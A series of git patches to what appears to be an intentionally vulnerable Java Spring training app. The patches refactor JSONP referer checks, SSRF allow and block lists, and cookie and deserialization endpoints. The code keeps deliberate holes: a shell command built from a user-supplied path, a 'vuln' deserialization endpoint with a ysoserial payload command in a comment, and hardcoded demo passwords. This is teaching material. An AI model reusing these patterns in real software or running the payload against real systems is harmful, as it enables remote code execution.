+    public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+        super(callbacks);  // Can set multiple paramNames
+        this.callbacks = callbacks;
+    }
+
+
+    // Check referer
+    @Override
+    protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType,
+                                           MethodParameter returnType, ServerHttpRequest req,
+                                           ServerHttpResponse res) {
+
+        HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest();
+        HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
+
+        String realJsonpFunc = getRealJsonpFunc(request);
+        if (StringUtils.isNotBlank(realJsonpFunc)){
+            jsonpReferHandler(request, response);
+        }
+        super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
     }
 
+    /**
+     * @return 获取实际jsonp的callback
+     */
+    private String getRealJsonpFunc(HttpServletRequest req) {
+
+        String reqCallback = null;
+        for (String callback: this.callbacks) {
+            reqCallback = req.getParameter(callback);
+            if(StringUtils.isNotBlank(reqCallback)) {
+                break;
+            }
+        }
+        return reqCallback;
+    }
+
+    // 校验Jsonp的Referer
+    private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) {
+
+        String refer = request.getHeader("referer");
+        String url = request.getRequestURL().toString();
+        String query = request.getQueryString();
+
+        // 如果jsonp校验的开关为false，不校验
+        if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+            return;
+        }
+
+        // 校验jsonp逻辑，如果不安全，返回forbidden
+        if (SecurityUtil.checkURL(refer) == null ){
+            logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+            try{
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+                response.getWriter().write("forbidden");
+                response.flushBuffer();
+            } catch (Exception e){
+                logger.error(e.toString());
+            }
+
+        }
+    }
 }
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
deleted file mode 100644
index 7c16d9d2..00000000
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package org.joychou.filter;
-
-
-import javax.servlet.*;
-import javax.servlet.annotation.WebFilter;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.IOException;
-
-import org.apache.commons.lang.StringUtils;
-import org.joychou.config.WebConfig;
-import org.joychou.security.SecurityUtil;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-
-/**
- * @author JoyChou @ 2020-01-13
- * 专门为object自动转jsonp功能配置的filter
- */
-
-@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*")
-public class JsonpFilter implements Filter {
-
-
-    @Override
-    public void init(FilterConfig filterConfig) throws ServletException {
-
-    }
-
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
-
-
-    @Override
-    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
-            throws IOException, ServletException {
-
-        HttpServletRequest request = (HttpServletRequest) req;
-        HttpServletResponse response = (HttpServletResponse) res;
-
-        String refer = request.getHeader("referer");
-        StringBuffer url = request.getRequestURL();
-        String query = request.getQueryString();
-
-        // 如果不满足jsonp校验逻辑，则不校验
-        if ( !check(request) ) {
-            filterChain.doFilter(req, res);
-            return ;
-        }
-
-        // 校验jsonp逻辑，如果不安全，返回forbidden
-        if (SecurityUtil.checkURL(refer) == null ){
-            logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
-            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
-            response.getWriter().write("forbidden");
-            response.flushBuffer();
-            return ;
-        }
-
-        // 正常的refer，继续业务逻辑。
-        filterChain.doFilter(req, res);
-
-    }
-
-    /**
-     *
-     * @return true要进行jsonp安全校验，false不进行jsonp安全校验
-     */
-    private boolean check(HttpServletRequest req) {
-
-        // 如果jsonp校验的开关为false，不校验
-        if ( !WebConfig.getJsonpReferCheckEnabled() ) {
-            return false;
-        }
-
-        // 只校验GET请求
-        if ( !"GET".equals(req.getMethod()) ) {
-            return false;
-        }
-
-        // 只校验带配置里的callback参数请求
-        String reqCallback = null;
-        for (String callback: WebConfig.getJsonpCallbacks()) {
-            reqCallback = req.getParameter(callback);
-            if(StringUtils.isNotBlank(reqCallback)) {
-                break;
-            }
-        }
-        if(StringUtils.isBlank(reqCallback)){
-            return false;
-        }
-
-
-        return true;
-
-    }
-    @Override
-    public void destroy() {
-
-    }
-}
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index f8803181..b2326f9f 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -42,6 +42,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         PathMatcher matcher = new AntPathMatcher();
         boolean isMatch = false;
 
+        // 获取要校验Referer的Uri
         for (String uri: WebConfig.getReferUris()) {
             if ( matcher.match (uri, request.getRequestURI()) ) {
                 isMatch = true;
diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
new file mode 100644
index 00000000..52d67e4c
--- /dev/null
+++ b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
@@ -0,0 +1,40 @@
+package org.joychou.interceptor;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author JoyChou @ 2020-03-28
+ * 专门为object自动转jsonp功能配置的Referer校验Intercepter
+ */
+
+public class JsonpInterceptor implements HandlerInterceptor {
+
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+            throws Exception {
+        return true;
+    }
+
+    @Override
+    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
+                           ModelAndView modelAndView) throws Exception {
+    }
+
+    @Override
+    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+            throws Exception {
+        logger.info(response.getWriter().toString());
+    }
+
+}
+
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index bb959a23..2f1bcf0a 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -4,7 +4,10 @@
 import java.net.InetAddress;
 import java.net.URI;
 import java.net.URL;
+import java.util.ArrayList;
+
 import org.apache.commons.net.util.SubnetUtils;
+import org.joychou.config.WebConfig;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
@@ -12,6 +15,36 @@ class SSRFChecker {
 
     private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
 
+    static boolean checkURLFckSSRF(String url) {
+        if (null == url){
+            return false;
+        }
+
+        ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
+        try {
+            URI uri = new URI(url);
+            String host = uri.getHost().toLowerCase();
+
+            // 必须http/https
+            if (!url.startsWith("http://") && !url.startsWith("https://")) {
+                return false;
+            }
+
+            if (ssrfSafeDomains.contains(host)) {
+                return true;
+            }
+            for (String ssrfSafeDomain : ssrfSafeDomains) {
+                if(host.endsWith("." + ssrfSafeDomain)) {
+                    return true;
+                }
+            }
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return false;
+        }
+        return false;
+    }
+
     /**
      * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。
      * url只允许https或者http，并且设置默认连接超时时间。
@@ -21,7 +54,7 @@ class SSRFChecker {
      * @param checkTimes 设置重定向检测的最大次数，建议设置为10次
      * @return 安全返回true，危险返回false
      */
-    static Boolean checkSSRF(String url, int checkTimes) {
+    static boolean checkSSRF(String url, int checkTimes) {
 
         HttpURLConnection connection;
         int connectTime = 5*1000;  // 设置连接超时时间5s
@@ -69,7 +102,7 @@ static Boolean checkSSRF(String url, int checkTimes) {
      *
      * @return 如果是内网IP，返回true；非内网IP，返回false。
      */
-     static Boolean isInnerIPByUrl(String url) {
+     static boolean isInnerIPByUrl(String url) {
         String host = url2host(url);
         if (host.equals("")) {
             return true; // 异常URL当成内网IP等非法URL处理
@@ -92,9 +125,9 @@ static Boolean isInnerIPByUrl(String url) {
      */
     private static boolean isInnerIp(String strIP){
 
-        String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "0.0.0.0/32"};
+        ArrayList<String> blackSubnets= WebConfig.getSsrfBlockIps();
 
-        for (String subnet: blackSubnetlist) {
+        for (String subnet: blackSubnets) {
             SubnetUtils utils = new SubnetUtils(subnet);
             if (utils.getInfo().isInRange(strIP)) {
                 logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index aca374da..0c6cb757 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -13,11 +13,12 @@
 
 public class SecurityUtil {
 
-    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
+    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
     private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
 
     /**
-     * 同时支持一级域名和多级域名，相关配置在resources目录下url/safe_domain.xml文件
+     * 同时支持一级域名和多级域名，相关配置在resources目录下url/safe_domain.xml文件。
+     * 优先判断黑名单，如果满足黑名单return null。
      *
      * @param url the url need to check
      * @return Safe url returns original url; Illegal url returns null;
@@ -29,6 +30,8 @@ public static String checkURL(String url) {
         }
 
         ArrayList<String> safeDomains = WebConfig.getSafeDomains();
+        ArrayList<String> blockDomains = WebConfig.getBlockDomains();
+
         try {
             URI uri = new URI(url);
             String host = uri.getHost().toLowerCase();
@@ -38,6 +41,16 @@ public static String checkURL(String url) {
                 return null;
             }
 
+            // 如果满足黑名单返回null
+            if (blockDomains.contains(host)){
+                return null;
+            }
+            for(String blockDomain: blockDomains) {
+                if(host.endsWith("." + blockDomain)) {
+                    return null;
+                }
+            }
+
             // 支持多级域名
             if (safeDomains.contains(host)){
                 return url;
@@ -56,39 +69,55 @@ public static String checkURL(String url) {
         }
     }
 
+
+    /**
+     * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛，强烈建议使用该方案。
+     * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成，大多数场景是图片场景，一般图片的域名都是CDN或者OSS等，所以限定域名白名单即可完成SSRF漏洞修复。
+     *
+     * @author JoyChou @ 2020-03-30
+     * @param url 需要校验的url
+     * @return Safe url returns true. Dangerous url returns false.
+     */
+    public static boolean checkSSRFByWhitehosts(String url) {
+        return SSRFChecker.checkURLFckSSRF(url);
+    }
+
+
     /**
-     * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。
+     * 解析URL的IP，判断IP是否是内网IP。如果有重定向跳转，循环解析重定向跳转的IP。不建议使用该方案。
+     *
+     * 存在的问题：
+     *   1、会主动发起请求，可能会有性能问题
+     *   2、设置重定向跳转为第一次302不跳转，第二次302跳转到内网IP 即可绕过该防御方案
+     *   3、TTL设置为0会被绕过
      *
      * @param url check的url
      * @return 安全返回true，危险返回false
      */
-    public static Boolean checkSSRF(String url) {
+    @Deprecated
+    public static boolean checkSSRF(String url) {
         int checkTimes = 10;
         return SSRFChecker.checkSSRF(url, checkTimes);
     }
 
 
     /**
-     * Suitable for: TTL isn't set to 0 & Redirect is forbidden.
+     * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
+     *
+     * 存在问题：
+     *  1、TTL为0会被绕过
+     *  2、使用重定向可绕过
      *
      * @param url The url that needs to check.
      * @return Safe url returns true. Dangerous url returns false.
      */
     public static boolean checkSSRFWithoutRedirect(String url) {
+        if(url == null) {
+            return false;
+        }
         return !SSRFChecker.isInnerIPByUrl(url);
     }
 
-    /**
-     * Check SSRF by host white list.
-     * This is the simplest and most effective method to fix ssrf vul.
-     *
-     * @param url The url that needs to check.
-     * @param hostWlist host whitelist
-     * @return Safe url returns url. Dangerous url returns null.
-     */
-    public static String checkSSRFByHost(String url) {
-        return checkURL(url);
-    }
 
     /**
      * Filter file path to prevent path traversal vulns.
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index a9787aac..dab5368a 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -1,5 +1,6 @@
 package org.joychou.security;
 
+import org.joychou.interceptor.JsonpInterceptor;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.context.annotation.Bean;
@@ -13,6 +14,7 @@
 import org.springframework.web.cors.CorsConfiguration;
 import org.springframework.web.cors.CorsConfigurationSource;
 import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
 
 import javax.servlet.http.HttpServletRequest;
 import java.util.ArrayList;
@@ -105,7 +107,6 @@ public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception
                 .withUser("joychou").password("joychou123").roles("USER").and()
                 .withUser("admin").password("admin123").roles("USER", "ADMIN");
     }
-
 }
 
 
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index c6b2a184..8b72592e 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -35,6 +35,5 @@ joychou.security.csrf.method = POST
 ### jsonp configuration begins ###  # auto convert json to jsonp
 # referer check
 joychou.security.jsonp.referer.check.enabled = true
-joychou.security.jsonp.referer.host = joychou.org, joychou.com
 joychou.security.jsonp.callback = callback, _callback
 ### jsonp configuration ends ###
\ No newline at end of file
diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt
new file mode 100644
index 00000000..45e1698c
--- /dev/null
+++ b/src/main/resources/banner.txt
@@ -0,0 +1,6 @@
+     ____.                       _________               _________            .___
+    |    |____ ___  _______     /   _____/ ____   ____   \_   ___ \  ____   __| _/____
+    |    \__  \\  \/ /\__  \    \_____  \_/ __ \_/ ___\  /    \  \/ /  _ \ / __ |/ __ \
+/\__|    |/ __ \\   /  / __ \_  /        \  ___/\  \___  \     \___(  <_> ) /_/ \  ___/
+\________(____  /\_/  (____  / /_______  /\___  >\___  >  \______  /\____/\____ |\___  >
+              \/           \/          \/     \/     \/          \/            \/    \/
\ No newline at end of file
diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml
deleted file mode 100644
index a403a675..00000000
--- a/src/main/resources/url/safe_domain.xml
+++ /dev/null
@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-
-<safedomain>
-    <!-- 支持一级域名或多级域名 -->
-    <domain>joychou.com</domain>
-    <domain>test.joychou.org</domain>
-</safedomain>
diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml
new file mode 100644
index 00000000..eb5e4c44
--- /dev/null
+++ b/src/main/resources/url/ssrf_safe_domain.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<ssrfsafeconfig>
+
+    <!-- 域名支持一级或者多级，如果在白名单。SecurityUtil.checkSSRFByWhitehosts()方法的域名配置 -->
+    <safedomains>
+        <domain>img.alicdn.com</domain>
+    </safedomains>
+
+    <blockips>
+        <ip>10.0.0.0/8</ip>
+        <ip>172.16.0.0/12</ip>
+        <ip>192.168.0.0/16</ip>
+        <ip>127.0.0.0/8</ip>
+        <ip>0.0.0.0/32</ip>
+    </blockips>
+
+    <blockdomains>
+        <domain>joychou-inc.com</domain>
+    </blockdomains>
+
+</ssrfsafeconfig>
diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml
new file mode 100644
index 00000000..ee81efcf
--- /dev/null
+++ b/src/main/resources/url/url_safe_domain.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<domains>
+    <safedomains>
+        <!-- 支持一级域名或多级域名 -->
+        <domain>joychou.com</domain>
+        <domain>joychou.org</domain>
+        <domain>test.joychou.org</domain>
+        <domain>localhost</domain>
+    </safedomains>
+
+    <!-- 支持一级域名或多级域名 -->
+    <blockdomains>
+        <domain>baidu.com</domain>
+        <domain>evil.joychou.org</domain>
+    </blockdomains>
+
+</domains>

From 039d0f12cf9f50e27e0061711f33d3da01ca1113 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Tue, 31 Mar 2020 18:11:43 +0800
Subject: [PATCH 13/38] bug fix

---
 .../joychou/interceptor/JsonpInterceptor.java | 40 -------------------
 .../org/joychou/security/SecurityUtil.java    |  2 +-
 .../joychou/security/WebSecurityConfig.java   |  4 +-
 3 files changed, 2 insertions(+), 44 deletions(-)
 delete mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java

diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
deleted file mode 100644
index 52d67e4c..00000000
--- a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package org.joychou.interceptor;
-
-import org.apache.commons.lang.StringUtils;
-import org.joychou.config.WebConfig;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.web.servlet.HandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-/**
- * @author JoyChou @ 2020-03-28
- * 专门为object自动转jsonp功能配置的Referer校验Intercepter
- */
-
-public class JsonpInterceptor implements HandlerInterceptor {
-
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
-
-    @Override
-    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
-            throws Exception {
-        return true;
-    }
-
-    @Override
-    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
-                           ModelAndView modelAndView) throws Exception {
-    }
-
-    @Override
-    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
-            throws Exception {
-        logger.info(response.getWriter().toString());
-    }
-
-}
-
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 0c6cb757..14cc397f 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -17,7 +17,7 @@ public class SecurityUtil {
     private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
 
     /**
-     * 同时支持一级域名和多级域名，相关配置在resources目录下url/safe_domain.xml文件。
+     * 同时支持一级域名和多级域名，相关配置在resources目录下url/url_safe_domain.xml文件。
      * 优先判断黑名单，如果满足黑名单return null。
      *
      * @param url the url need to check
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index dab5368a..5e8c3697 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -1,6 +1,5 @@
 package org.joychou.security;
 
-import org.joychou.interceptor.JsonpInterceptor;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.context.annotation.Bean;
@@ -14,7 +13,6 @@
 import org.springframework.web.cors.CorsConfiguration;
 import org.springframework.web.cors.CorsConfigurationSource;
 import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
-import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
 
 import javax.servlet.http.HttpServletRequest;
 import java.util.ArrayList;
@@ -39,7 +37,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
     @Value("${joychou.security.csrf.method}")
     private String[] csrfMethod = {"POST"};
 
-    RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+    private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
 
         @Override
         public boolean matches(HttpServletRequest request) {

From 33748f31054535fed0c3ae42ca23fde31b5b3404 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 3 Apr 2020 10:23:40 +0800
Subject: [PATCH 14/38] bug fix

---
 README.md                                     |  3 +-
 .../java/org/joychou/config/Constants.java    |  8 +++++
 .../org/joychou/controller/CRLFInjection.java |  9 +++--
 .../org/joychou/controller/CommandInject.java |  4 +--
 .../java/org/joychou/controller/Cookies.java  | 12 +++----
 .../java/org/joychou/controller/Cors.java     |  4 +--
 .../org/joychou/controller/Deserialize.java   | 10 +++---
 .../java/org/joychou/controller/Fastjson.java |  2 +-
 .../{jsonp/JSONP.java => Jsonp.java}          | 35 ++++++-------------
 .../org/joychou/controller/URLRedirect.java   |  4 +--
 .../Object2Jsonp.java}                        |  7 ++--
 .../org/joychou/security/SSRFChecker.java     |  3 +-
 .../java/org/joychou/util/LoginUtils.java     | 21 +++++++++++
 13 files changed, 68 insertions(+), 54 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/Constants.java
 rename src/main/java/org/joychou/controller/{jsonp/JSONP.java => Jsonp.java} (76%)
 rename src/main/java/org/joychou/{controller/jsonp/JSONPAdvice.java => security/Object2Jsonp.java} (93%)
 create mode 100644 src/main/java/org/joychou/util/LoginUtils.java

diff --git a/README.md b/README.md
index 5799c51b..9ee7a881 100644
--- a/README.md
+++ b/README.md
@@ -33,9 +33,10 @@ Sort by letter.
 - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
 - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
 - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
+- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java)
 - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
 - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
-- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
new file mode 100644
index 00000000..62379458
--- /dev/null
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -0,0 +1,8 @@
+package org.joychou.config;
+
+public class Constants {
+
+    private Constants(){}
+
+    public static final String REMEMBER_ME_COOKIE = "rememberMe";
+}
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index b0e9af4c..4fb66ba7 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -9,18 +9,17 @@
 import javax.servlet.http.HttpServletResponse;
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2018.01.03
- * @desc    Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8)
+ * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
+ *
+ * @author  JoyChou (joychou@joychou.org) @2018-01-03
  */
-
 @Controller
 @RequestMapping("/crlf")
 public class CRLFInjection {
 
     @RequestMapping("/safecode")
     @ResponseBody
-    private static void crlf(HttpServletRequest request, HttpServletResponse response) {
+    public void crlf(HttpServletRequest request, HttpServletResponse response) {
         response.addHeader("test1", request.getParameter("test1"));
         response.setHeader("test2", request.getParameter("test2"));
         String author = request.getParameter("test3");
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
index f4901b87..5b63efcf 100644
--- a/src/main/java/org/joychou/controller/CommandInject.java
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -22,7 +22,7 @@ public class CommandInject {
      * @return result
      */
     @GetMapping("/codeinject")
-    public static String codeInject(String filepath) throws IOException {
+    public String codeInject(String filepath) throws IOException {
 
         String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
         ProcessBuilder builder = new ProcessBuilder(cmdList);
@@ -50,7 +50,7 @@ public String codeInjectHost(HttpServletRequest request) throws IOException {
     }
 
     @GetMapping("/codeinject/sec")
-    public static String codeInjectSec(String filepath) throws IOException {
+    public String codeInjectSec(String filepath) throws IOException {
         String filterFilePath = SecurityUtil.cmdFilter(filepath);
         if (null == filterFilePath) {
             return "Bad boy. I got u.";
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index 5a32b191..e498dfc6 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -16,14 +16,14 @@ public class Cookies {
     private static String NICK = "nick";
 
     @RequestMapping(value = "/vuln01")
-    private String vuln01(HttpServletRequest req) {
+    public String vuln01(HttpServletRequest req) {
         String nick = WebUtils.getCookieValueByName(req, NICK); // key code
         return "Cookie nick: " + nick;
     }
 
 
     @RequestMapping(value = "/vuln02")
-    private String vuln02(HttpServletRequest req) {
+    public String vuln02(HttpServletRequest req) {
         String nick = null;
         Cookie[] cookie = req.getCookies();
 
@@ -36,7 +36,7 @@ private String vuln02(HttpServletRequest req) {
 
 
     @RequestMapping(value = "/vuln03")
-    private String vuln03(HttpServletRequest req) {
+    public String vuln03(HttpServletRequest req) {
         String nick = null;
         Cookie cookies[] = req.getCookies();
         if (cookies != null) {
@@ -52,7 +52,7 @@ private String vuln03(HttpServletRequest req) {
 
 
     @RequestMapping(value = "/vuln04")
-    private String vuln04(HttpServletRequest req) {
+    public String vuln04(HttpServletRequest req) {
         String nick = null;
         Cookie cookies[] = req.getCookies();
         if (cookies != null) {
@@ -68,13 +68,13 @@ private String vuln04(HttpServletRequest req) {
 
 
     @RequestMapping(value = "/vuln05")
-    private String vuln05(@CookieValue("nick") String nick) {
+    public String vuln05(@CookieValue("nick") String nick) {
         return "Cookie nick: " + nick;
     }
 
 
     @RequestMapping(value = "/vuln06")
-    private String vuln06(@CookieValue(value = "nick") String nick) {
+    public String vuln06(@CookieValue(value = "nick") String nick) {
         return "Cookie nick: " + nick;
     }
 
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index 3537ecf8..109a4e18 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -1,10 +1,10 @@
 package org.joychou.controller;
 
 import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
 import org.springframework.security.web.csrf.CsrfToken;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
-import org.joychou.controller.jsonp.JSONP;
 import org.springframework.web.bind.annotation.RestController;
 
 import javax.servlet.http.HttpServletRequest;
@@ -111,7 +111,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
         }
         response.setHeader("Access-Control-Allow-Origin", origin);
         response.setHeader("Access-Control-Allow-Credentials", "true");
-        return JSONP.getUserInfo2JsonStr(request);
+        return LoginUtils.getUserInfo2JsonStr(request);
     }
 
 
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 57e0a6b7..e3e0bca6 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,5 +1,6 @@
 package org.joychou.controller;
 
+import org.joychou.config.Constants;
 import org.joychou.security.AntObjectInputStream;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
@@ -25,20 +26,19 @@
 @RequestMapping("/deserialize")
 public class Deserialize {
 
-    private static String cookieName = "rememberMe";
     protected final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     /**
      * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
      * Add the result to rememberMe cookie.
      *
-     * http://localhost:8080/deserialize/rememberMe/vul
+     * http://localhost:8080/deserialize/rememberMe/vuln
      */
-    @RequestMapping("/rememberMe/vul")
+    @RequestMapping("/rememberMe/vuln")
     public String rememberMeVul(HttpServletRequest request)
             throws IOException, ClassNotFoundException {
 
-        Cookie cookie = getCookie(request, cookieName);
+        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
 
         if (null == cookie){
             return "No rememberMe cookie. Right?";
@@ -64,7 +64,7 @@ public String rememberMeVul(HttpServletRequest request)
     public String rememberMeBlackClassCheck(HttpServletRequest request)
             throws IOException, ClassNotFoundException {
 
-        Cookie cookie = getCookie(request, cookieName);
+        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
 
         if (null == cookie){
             return "No rememberMe cookie. Right?";
